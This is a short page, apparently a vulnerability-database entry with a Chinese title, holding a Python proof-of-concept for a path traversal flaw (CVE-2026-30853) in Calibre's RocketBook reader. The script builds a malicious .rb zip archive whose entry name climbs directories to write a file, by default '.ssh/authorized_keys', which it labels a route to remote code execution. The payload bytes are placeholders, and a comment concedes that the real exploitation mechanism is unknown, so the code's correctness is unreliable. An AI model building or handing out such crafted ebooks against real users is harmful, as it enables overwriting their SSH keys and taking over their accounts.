CVE-2026-30853 Calibre RocketBook路径遍历漏洞

#!/usr/bin/env python3 """ CVE-2026-30853 PoC - Calibre RocketBook Path Traversal Generate a malicious .rb file that attempts to write to arbitrary path """ import zipfile import os def create_malicious_rb(output_path, target_file): """ Create a malicious RocketBook (.rb) file with path traversal payload """ with zipfile.ZipFile(output_path, 'w') as rb_file: # Path traversal payload to write to arbitrary location # The actual exploitation depends on the specific vulnerability in reader.py malicious_content = b'Crafted RB content with path traversal' # Add the malicious content file with path traversal sequence traversal_path = f"../../../../../../{target_file}" rb_file.writestr(traversal_path, malicious_content) # Add main content file rb_file.writestr('content.rb', b'Main ebook content') print(f"[+] Created malicious .rb file: {output_path}") print(f"[+] Target path: {target_file}") if __name__ == '__main__': # Example usage output = 'malicious_book.rb' target = '.ssh/authorized_keys' # Example target for remote code execution create_malicious_rb(output, target)